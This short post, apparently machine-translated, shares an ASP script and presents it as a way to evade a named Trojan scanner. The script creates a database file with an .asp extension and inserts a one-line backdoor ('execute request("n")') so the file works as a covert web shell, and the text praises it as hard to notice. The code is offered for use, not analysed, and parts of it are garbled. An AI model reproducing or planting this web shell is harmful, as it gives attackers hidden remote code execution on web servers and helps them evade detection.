This is to escape LAKER2 brother check ASP Trojan horse program
Now that the challenge has been successful, it has been added to the test object. Published code to the freezing point of friends make, I hope you like!
The Adox.catalog component is used
Copy Code code as follows:
<%
' Code by Netpatch
Dim dbfile,sql
db= "Netpatch.asp"
Dbfile=server. MapPath (DB)
Set Ydb=server. CreateObject ("ADOX.") Catalog ")
Ydb. Create "Provider=Microsoft.Jet.OLEDB.4.0;Data source=" & DBFile
Set ydb=nothing
If Err.number=0 Then
Response.Write DBFile & "Create success <br>"
Else
Response.Write "Creation failed, Cause:" & Err.Description
Response.End
End If
Set Conn = Server.CreateObject ("ADODB. Connection ")
Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data source= "& DBFile
Sql= "CREATE TABLE fdata ([data] Memo)"
Conn.execute (SQL)
Set rs = CreateObject ("ADODB.") RecordSet ")
Rs. Open "Fdata", Conn, 1, 3
Rs.addnew
RS ("data") = "<%execute request (" n "))%>" ' (Comment remember to remove!) A word at the back door Execute request ("n"))
Rs.update
%>
This script is primarily leveraging the Adox.catalog component
Create a new empty database file called netpatch.asp
Then put a word Trojan into the new table as the C/S version of the ASP horse!
Advantages, more covert, not easy to let people see what the role of this!